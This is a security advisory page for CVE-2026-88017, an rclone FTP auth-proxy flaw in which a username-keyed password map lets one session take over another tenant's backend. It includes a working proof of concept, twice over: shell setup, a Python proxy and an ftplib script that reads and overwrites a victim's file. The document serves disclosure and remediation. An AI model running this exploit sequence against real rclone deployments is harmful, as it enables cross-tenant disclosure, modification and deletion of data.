CVE-2026-88017: rclone FTP Cross-session Auth-proxy Backend Confusion Vulnerability

HIGH
Advisory Identifier: GHSA-c476-6w5q-jw77
CVSS 7.3
CWE-488
Published
Advisory Summary

CVE-2026-88017 is a HIGH (CVSS 7.3) ftp cross-session auth-proxy backend confusion vulnerability (CWE-488: Exposure of Data Element to Wrong Session) affecting rclone libraries in the Go ecosystem. The issue involves ftp cross-session auth-proxy backend confusion. Remediation is available by upgrading affected packages to version 1.75.1.

CVE-2026-88017 at a Glance

CVE Identifier CVE-2026-88017
GHSA Identifier GHSA-c476-6w5q-jw77
Severity HIGH
CVSS v3.1 Base Score 7.3
CWE Classification CWE-488: Exposure of Data Element to Wrong Session
Affected Product rclone
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 7.3

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction Required (UI:R)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability None (A:N)

How to Fix CVE-2026-88017

To remediate this vulnerability, upgrade all affected rclone dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/rclone/rclone fixed: 1.75.1
Upgrade github.com/rclone/rclone to 1.75.1
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/rclone/rclone

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-88017, inspect your project dependencies for rclone:

inspect dependencies for github.com/rclone/rclone

Analyze the terminal output to locate any version of rclone in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.75.1), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-488: Exposure of Data Element to Wrong Session, where the product does not sufficiently enforce boundaries between the states of different sessions, causing data to be provided to, or used by, the wrong session. In rclone, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary The FTP auth-proxy driver stores one obscured password per username in a server-wide map. It does not bind the credential or returned VFS to the authenticated FTP session. If two accepted credentials use the same username but resolve to different proxy backends, the later login overwrites the map entry. Subsequent operations on the first, still-authenticated session are re-authorized with the later session's password and execute against the later session's backend. This is not exploitable in every auth-proxy deployment. It requires a proxy that accepts distinct credentials for the same username and returns different roots or backend configurations, plus a later login while the attacker's session remains open. The behavior is nevertheless within the supported model: `cmd/serve/proxy` keys VFS entries by username, authentication material, and client IP specifically so a new credential can produce a fresh backend. Confirmed affected versions are `v1.75.0` and development commit `5629f2668c69149bf3d9d8e2a25bb32a2648606e`. The username-global map was introduced in `v1.64.0`, but versions before credential-aware proxy caching may require cache expiration or different timing and are not claimed as confirmed here. ## Affected Assets & Attack Surface - `cmd/serve/ftp/ftp.go:170-178` defines `userPass map[string]string` as driver-global state keyed only by username. - `cmd/serve/ftp/ftp.go:318-335` validates `(user, pass)` through the proxy and then overwrites `d.userPass[user]`. - `cmd/serve/ftp/ftp.go:352-373` retrieves the current map entry by `Sess.LoginUser()` for every filesystem operation and calls the proxy again with that password. - `cmd/serve/ftp/ftp.go:376` onward routes FTP filesystem operations through `getVFS`, including stat, listing, retrieval, upload, rename, and deletion. - `cmd/serve/proxy/proxy.go:114-119` documents credential- and client-IP-aware backend caching. - `cmd/serve/proxy/proxy.go:235-243` derives a cache key from username, credential, and client IP. - `cmd/serve/proxy/proxy.go:328-365` resolves and verifies the VFS using that composite identity. - Attack surface: any `rclone serve ftp --auth-proxy ...` deployment in which the proxy accepts more than one credential for a shared username and those credentials do not have equivalent backend authority. ## Technical Root Cause Analysis Authentication initially uses the correct session data: ```go d.proxy.Call(user, pass, false, sctx.Sess.RemoteAddr().String()) ``` After success, the driver discards the returned VFS and VFS cache key. It obscures the password and stores it in: ```go d.userPass[user] = oPass ``` For each later FTP operation, `getVFS` knows only the session's username. It looks up whichever password was most recently stored for that username and calls the proxy again. The mutex prevents a Go data race but does not provide session isolation. The authorization sequence is therefore: 1. Session A authenticates as `shared` with credential A and receives backend A. 2. Session B authenticates as `shared` with credential B and overwrites `userPass["shared"]`. 3. Session A performs another FTP command. 4. `getVFS` uses credential B, not the credential that authenticated Session A. 5. The proxy returns backend B, and Session A's command runs there. This creates a cross-session identity mismatch; no race condition is required. Credential-dependent routing is not an artificial assumption added by the PoC: the proxy cache deliberately distinguishes the same username with different authentication material. A proxy that maps username alone, rejects all concurrent alternate credentials, or binds credentials to client IP in a way that rejects the replay is not exploitable by this sequence. ## Proof of Concept & Evidence Create two roots and a proxy that uses the password as a tenant token while requiring the same FTP username: ```sh mkdir -p /tmp/rclone-ftp-attacker /tmp/rclone-ftp-victim printf 'attacker-only\n' > /tmp/rclone-ftp-attacker/attacker.txt printf 'victim-secret\n' > /tmp/rclone-ftp-victim/victim.txt cat > /tmp/rclone-ftp-proxy.py <<'PY' #!/usr/bin/env python3 import json import sys request = json.load(sys.stdin) roots = { "attacker-token": "/tmp/rclone-ftp-attacker", "victim-token": "/tmp/rclone-ftp-victim", } if request.get("user") != "shared" or request.get("pass") not in roots: sys.exit(1) print(json.dumps({ "type": "local", "_root": roots[request["pass"]], })) PY chmod 700 /tmp/rclone-ftp-proxy.py ``` Start the FTP server on loopback: ```sh ./rclone serve ftp \ --auth-proxy "python3 /tmp/rclone-ftp-proxy.py" \ --addr 127.0.0.1:2121 \ --passive-port 30000-30010 ``` In another terminal, keep both sessions open and trigger the overwrite: ```sh python3 - <<'PY' import ftplib import io def connect(password): ftp = ftplib.FTP() ftp.connect("127.0.0.1", 2121, timeout=5) ftp.login("shared", password) return ftp attacker = connect("attacker-token") # Establish the attacker's original authority. original = bytearray() attacker.retrbinary("RETR attacker.txt", original.extend) assert original == b"attacker-only\n" try: attacker.size("victim.txt") raise AssertionError("victim file unexpectedly visible before overwrite") except ftplib.error_perm: pass # A second principal logs in with the same username and a different token. victim = connect("victim-token") assert victim.size("victim.txt") > 0 # The first session is now silently rebound to the victim backend. stolen = bytearray() attacker.retrbinary("RETR victim.txt", stolen.extend) print(stolen.decode().strip()) attacker.storbinary("STOR victim.txt", io.BytesIO(b"modified-by-first-session\n")) attacker.quit() victim.quit() PY grep -F modified-by-first-session /tmp/rclone-ftp-victim/victim.txt ``` Observed against `5629f2668c69149bf3d9d8e2a25bb32a2648606e`: - Before the victim login, the attacker session resolves only the attacker root. - After the victim login, the already-authenticated attacker session reads `victim.txt`. - A write through the attacker session overwrites the file in the victim root. The complete automated validation used the actual FTP listener, two simultaneous `github.com/jlaffaye/ftp` clients, and an external auth-proxy process that mapped the two tokens to separate temporary local roots. It verified the precondition that `victim.txt` was unavailable to the first session before the second login, then verified both cross-root read and overwrite after the login. It passed on Windows/amd64 with Go 1.26.2: ```text === RUN TestSecurityValidationFTPAuthProxyCrossSession --- PASS: TestSecurityValidationFTPAuthProxyCrossSession (2.11s) ``` Both PoC sessions use loopback, so they have the same client IP and the test isolates the credential-keying defect. Across different client IPs, the issue remains reachable when the proxy does not bind credentials to source addresses. If the proxy enforces such a binding, replay of the victim credential may fail and that deployment is not exploitable by this sequence. ## Impact Assessment A low-privileged user with a valid auth-proxy credential can gain the read, write, and delete authority of another accepted credential sharing the same FTP username. The unauthorized capability is direct: the first session operates on the second credential's VFS without authenticating with that credential. The maximum impact is cross-tenant disclosure, modification, and deletion of all objects exposed by the victim backend. Actual severity is lower when all credentials for a username intentionally represent the same principal and equivalent root. The victim or an automated client must log in after the attacker, and the attacker must keep the original FTP session open. This is not a generic FTP username-enumeration issue and does not give an unauthenticated party access. It is a session-isolation failure in auth-proxy mode. ## Remediation Guidance Bind the credential or backend identity to the FTP session, never to the username. `goftp.io/server/v2` exposes `sctx.Sess.Data`, which persists across commands for one session and is released with that session. A compatible fix is: 1. On successful `CheckPasswd`, store a private session binding in `sctx.Sess.Data`. The binding can contain the obscured password and username, or another opaque value sufficient to resolve the same proxy entry. 2. In `getVFS`, retrieve only that session binding. Never consult a driver-global username map. 3. If re-authentication occurs on the same FTP session, replace the binding only after the new authentication succeeds; clear it on a failed authentication attempt where the library keeps the session alive. 4. Preserve proxy cache expiry semantics. Holding a VFS pointer forever would prevent the existing cache from expiring it; storing the session's obscured credential and re-calling `Proxy.Call` retains current expiry behavior while maintaining identity. 5. Remove `userPass`, `userPassMu`, and the associated global credential lifetime after the session-based path is in place. Avoid keying a replacement map by remote address, username, or client IP. Multiple sessions can share all of those values. If a library limitation makes `Session.Data` unsuitable, use the `*ftp.Session` pointer as the key and add reliable disconnect cleanup; session-owned state is preferable because cleanup is automatic.

CVE-2026-88017 Affected rclone Versions

1 component(s)
Fixed Versions:
1.75.1
Product / Package Ecosystem Affected Versions Fixed Version
github.com/rclone/rclone
Go
≥ 1.64.0
< 1.75.1
1.75.1

References

Frequently Asked Questions

What is CVE-2026-88017?
CVE-2026-88017 is a security vulnerability in rclone involving FTP cross-session auth-proxy backend confusion under CWE-488: Exposure of Data Element to Wrong Session.
Which rclone versions are affected?
Affected versions include releases prior to 1.75.1 across affected packages: github.com/rclone/rclone.
What version fixes CVE-2026-88017?
Upgrading to 1.75.1 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/rclone/rclone affected?
Yes, github.com/rclone/rclone is affected in releases prior to 1.75.1. Upgrade your dependency to 1.75.1 or later.
What is the CVSS score of CVE-2026-88017?
CVE-2026-88017 has a CVSS v3.1 base score of 7.3 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N.
What CWE is associated with CVE-2026-88017?
CVE-2026-88017 is classified under CWE-488: Exposure of Data Element to Wrong Session (The product does not sufficiently enforce boundaries between the states of different sessions, causing data to be provided to, or used by, the wrong session.).
How can I check Go dependencies for CVE-2026-88017?
Run the dependency tree command: 'inspect dependencies for github.com/rclone/rclone'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-c476-6w5q-jw77",
  "modified" : "2026-09-10T22:46:33Z",
  "published" : "2026-09-10T22:46:33Z",
  "aliases" : [ "CVE-2026-88017" ],
  "summary" : "rclone: FTP cross-session auth-proxy backend confusion",
  "details" : "## Summary\n\nThe FTP auth-proxy driver stores one obscured password per username in a server-wide map. It does not bind the credential or returned VFS to the authenticated FTP session. If two accepted credentials use the same username but resolve to different proxy backends, the later login overwrites the map entry. Subsequent operations on the first, still-authenticated session are re-authorized with the later session's password and execute against the later session's backend.\n\nThis is not exploitable in every auth-proxy deployment. It requires a proxy that accepts distinct credentials for the same username and returns different roots or backend configurations, plus a later login while the attacker's session remains open. The behavior is nevertheless within the supported model: `cmd/serve/proxy` keys VFS entries by username, authentication material, and client IP specifically so a new credential can produce a fresh backend.\n\nConfirmed affected versions are `v1.75.0` and development commit `5629f2668c69149bf3d9d8e2a25bb32a2648606e`. The username-global map was introduced in `v1.64.0`, but versions before credential-aware proxy caching may require cache expiration or different timing and are not claimed as confirmed here.\n\n## Affected Assets & Attack Surface\n\n- `cmd/serve/ftp/ftp.go:170-178` defines `userPass map[string]string` as driver-global state keyed only by username.\n- `cmd/serve/ftp/ftp.go:318-335` validates `(user, pass)` through the proxy and then overwrites `d.userPass[user]`.\n- `cmd/serve/ftp/ftp.go:352-373` retrieves the current map entry by `Sess.LoginUser()` for every filesystem operation and calls the proxy again with that password.\n- `cmd/serve/ftp/ftp.go:376` onward routes FTP filesystem operations through `getVFS`, including stat, listing, retrieval, upload, rename, and deletion.\n- `cmd/serve/proxy/proxy.go:114-119` documents credential- and client-IP-aware backend caching.\n- `cmd/serve/proxy/proxy.go:235-243` derives a cache key from username, credential, and client IP.\n- `cmd/serve/proxy/proxy.go:328-365` resolves and verifies the VFS using that composite identity.\n- Attack surface: any `rclone serve ftp --auth-proxy ...` deployment in which the proxy accepts more than one credential for a shared username and those credentials do not have equivalent backend authority.\n\n## Technical Root Cause Analysis\n\nAuthentication initially uses the correct session data:\n\n```go\nd.proxy.Call(user, pass, false, sctx.Sess.RemoteAddr().String())\n```\n\nAfter success, the driver discards the returned VFS and VFS cache key. It obscures the password and stores it in:\n\n```go\nd.userPass[user] = oPass\n```\n\nFor each later FTP operation, `getVFS` knows only the session's username. It looks up whichever password was most recently stored for that username and calls the proxy again. The mutex prevents a Go data race but does not provide session isolation.\n\nThe authorization sequence is therefore:\n\n1. Session A authenticates as `shared` with credential A and receives backend A.\n2. Session B authenticates as `shared` with credential B and overwrites `userPass[\"shared\"]`.\n3. Session A performs another FTP command.\n4. `getVFS` uses credential B, not the credential that authenticated Session A.\n5. The proxy returns backend B, and Session A's command runs there.\n\nThis creates a cross-session identity mismatch; no race condition is required. Credential-dependent routing is not an artificial assumption added by the PoC: the proxy cache deliberately distinguishes the same username with different authentication material. A proxy that maps username alone, rejects all concurrent alternate credentials, or binds credentials to client IP in a way that rejects the replay is not exploitable by this sequence.\n\n## Proof of Concept & Evidence\n\nCreate two roots and a proxy that uses the password as a tenant token while requiring the same FTP username:\n\n```sh\nmkdir -p /tmp/rclone-ftp-attacker /tmp/rclone-ftp-victim\nprintf 'attacker-only\\n' > /tmp/rclone-ftp-attacker/attacker.txt\nprintf 'victim-secret\\n' > /tmp/rclone-ftp-victim/victim.txt\n\ncat > /tmp/rclone-ftp-proxy.py <<'PY'\n#!/usr/bin/env python3\nimport json\nimport sys\n\nrequest = json.load(sys.stdin)\nroots = {\n    \"attacker-token\": \"/tmp/rclone-ftp-attacker\",\n    \"victim-token\": \"/tmp/rclone-ftp-victim\",\n}\n\nif request.get(\"user\") != \"shared\" or request.get(\"pass\") not in roots:\n    sys.exit(1)\n\nprint(json.dumps({\n    \"type\": \"local\",\n    \"_root\": roots[request[\"pass\"]],\n}))\nPY\nchmod 700 /tmp/rclone-ftp-proxy.py\n```\n\nStart the FTP server on loopback:\n\n```sh\n./rclone serve ftp \\\n  --auth-proxy \"python3 /tmp/rclone-ftp-proxy.py\" \\\n  --addr 127.0.0.1:2121 \\\n  --passive-port 30000-30010\n```\n\nIn another terminal, keep both sessions open and trigger the overwrite:\n\n```sh\npython3 - <<'PY'\nimport ftplib\nimport io\n\ndef connect(password):\n    ftp = ftplib.FTP()\n    ftp.connect(\"127.0.0.1\", 2121, timeout=5)\n    ftp.login(\"shared\", password)\n    return ftp\n\nattacker = connect(\"attacker-token\")\n\n# Establish the attacker's original authority.\noriginal = bytearray()\nattacker.retrbinary(\"RETR attacker.txt\", original.extend)\nassert original == b\"attacker-only\\n\"\n\ntry:\n    attacker.size(\"victim.txt\")\n    raise AssertionError(\"victim file unexpectedly visible before overwrite\")\nexcept ftplib.error_perm:\n    pass\n\n# A second principal logs in with the same username and a different token.\nvictim = connect(\"victim-token\")\nassert victim.size(\"victim.txt\") > 0\n\n# The first session is now silently rebound to the victim backend.\nstolen = bytearray()\nattacker.retrbinary(\"RETR victim.txt\", stolen.extend)\nprint(stolen.decode().strip())\nattacker.storbinary(\"STOR victim.txt\", io.BytesIO(b\"modified-by-first-session\\n\"))\n\nattacker.quit()\nvictim.quit()\nPY\n\ngrep -F modified-by-first-session /tmp/rclone-ftp-victim/victim.txt\n```\n\nObserved against `5629f2668c69149bf3d9d8e2a25bb32a2648606e`:\n\n- Before the victim login, the attacker session resolves only the attacker root.\n- After the victim login, the already-authenticated attacker session reads `victim.txt`.\n- A write through the attacker session overwrites the file in the victim root.\n\nThe complete automated validation used the actual FTP listener, two simultaneous `github.com/jlaffaye/ftp` clients, and an external auth-proxy process that mapped the two tokens to separate temporary local roots. It verified the precondition that `victim.txt` was unavailable to the first session before the second login, then verified both cross-root read and overwrite after the login. It passed on Windows/amd64 with Go 1.26.2:\n\n```text\n=== RUN   TestSecurityValidationFTPAuthProxyCrossSession\n--- PASS: TestSecurityValidationFTPAuthProxyCrossSession (2.11s)\n```\n\nBoth PoC sessions use loopback, so they have the same client IP and the test isolates the credential-keying defect. Across different client IPs, the issue remains reachable when the proxy does not bind credentials to source addresses. If the proxy enforces such a binding, replay of the victim credential may fail and that deployment is not exploitable by this sequence.\n\n## Impact Assessment\n\nA low-privileged user with a valid auth-proxy credential can gain the read, write, and delete authority of another accepted credential sharing the same FTP username. The unauthorized capability is direct: the first session operates on the second credential's VFS without authenticating with that credential.\n\nThe maximum impact is cross-tenant disclosure, modification, and deletion of all objects exposed by the victim backend. Actual severity is lower when all credentials for a username intentionally represent the same principal and equivalent root. The victim or an automated client must log in after the attacker, and the attacker must keep the original FTP session open.\n\nThis is not a generic FTP username-enumeration issue and does not give an unauthenticated party access. It is a session-isolation failure in auth-proxy mode.\n\n## Remediation Guidance\n\nBind the credential or backend identity to the FTP session, never to the username. `goftp.io/server/v2` exposes `sctx.Sess.Data`, which persists across commands for one session and is released with that session.\n\nA compatible fix is:\n\n1. On successful `CheckPasswd`, store a private session binding in `sctx.Sess.Data`. The binding can contain the obscured password and username, or another opaque value sufficient to resolve the same proxy entry.\n2. In `getVFS`, retrieve only that session binding. Never consult a driver-global username map.\n3. If re-authentication occurs on the same FTP session, replace the binding only after the new authentication succeeds; clear it on a failed authentication attempt where the library keeps the session alive.\n4. Preserve proxy cache expiry semantics. Holding a VFS pointer forever would prevent the existing cache from expiring it; storing the session's obscured credential and re-calling `Proxy.Call` retains current expiry behavior while maintaining identity.\n5. Remove `userPass`, `userPassMu`, and the associated global credential lifetime after the session-based path is in place.\n\nAvoid keying a replacement map by remote address, username, or client IP. Multiple sessions can share all of those values. If a library limitation makes `Session.Data` unsuitable, use the `*ftp.Session` pointer as the key and add reliable disconnect cleanup; session-owned state is preferable because cleanup is automatic.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/rclone/rclone"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "1.64.0"
      }, {
        "fixed" : "1.75.1"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 1.75.0"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/rclone/rclone/security/advisories/GHSA-c476-6w5q-jw77"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-88017"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/rclone/rclone/commit/c6af0b57c2b4af848bc968c2b407354476184b99"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/rclone/rclone"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/rclone/rclone/releases/tag/v1.75.1"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-488" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-09-10T22:46:33Z",
    "nvd_published_at" : "2026-09-10T16:18:08Z"
  }
}